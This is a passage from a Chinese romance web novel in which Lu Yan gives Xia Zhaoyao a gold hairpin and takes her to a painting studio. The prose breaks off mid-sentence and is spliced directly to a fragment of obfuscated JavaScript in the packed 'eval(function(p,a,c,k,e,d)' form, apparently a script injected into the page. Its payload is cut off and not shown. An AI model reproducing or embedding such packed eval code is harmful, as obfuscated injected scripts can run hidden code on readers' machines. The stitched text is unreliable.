“好了。”他退开半步。
夏昭垚转过身,抬手摸了摸头顶,指尖碰到簪尾微凉的金属,禁不住笑起来。
她抬头看他。
他也在看她。
目光相触的那一刻,空气像是被什么东西凝住了,像糖浆抽丝,黏黏糊糊扯不断。
陆砚的视线从她发间慢慢移下来,掠过她的眉眼、鼻尖,最后在她唇上停了一瞬,真的只一瞬,就移开了。
他低下头去,垂着眼睫,不说话。
喉结动了一下。
夏昭垚心跳快了半拍,故作镇定地移开目光,啪地拍了下自己膝盖站起来:“我去换身衣服!这簪子配我身上这套不好看!”
她飞快跑进屋里,翻箱倒柜。
陆砚留在院中,独自坐了片刻。他端起茶盏,发现已经空了,又放下。
指尖无意识地摩挲着杯沿,良久才轻轻呼出一口气。
片刻后夏昭垚出来了。
粉色棉布衣裳,绣着细密金线暗纹,料子虽算不得名贵,但裁剪伏帖,衬着她肤白唇红,那支芙蓉金簪在发间微微晃动,灵动又明艳。
商户不可着绫罗绸缎,可布衣穿在她身上,愣是穿出几分不输锦绣的好颜色。
陆砚看着她从门里走出来,视线定了一瞬。
“走吧。”他起身,语气如常,“带你去个地方。”
出门之后,两人沿着巷子往北走了一段,拐进一条稍僻静的街。
街两旁是文具铺子和裱画行,行人不多。
走到一处二层小楼前,陆砚停了步。
门面不大,匾额上写着“润墨轩”三字,推门进去,一楼摆着各色画纸笔墨和成品挂画,伙计迎上来,见了陆砚便熟络地引着两人往楼上去。
夏昭垚好奇地四处打量:“这是……画室?”
“嗯。“陆砚走在前面,侧头答她,“之前答应过你,要常给
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]